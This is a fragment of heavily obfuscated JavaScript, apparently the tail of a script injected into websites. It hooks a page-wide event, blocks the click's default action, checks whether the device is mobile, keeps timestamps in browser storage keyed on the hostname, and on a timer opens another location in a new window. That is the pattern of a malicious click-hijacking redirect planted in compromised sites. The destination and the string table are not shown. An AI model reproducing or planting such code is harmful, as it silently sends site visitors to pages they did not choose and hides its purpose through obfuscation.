Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());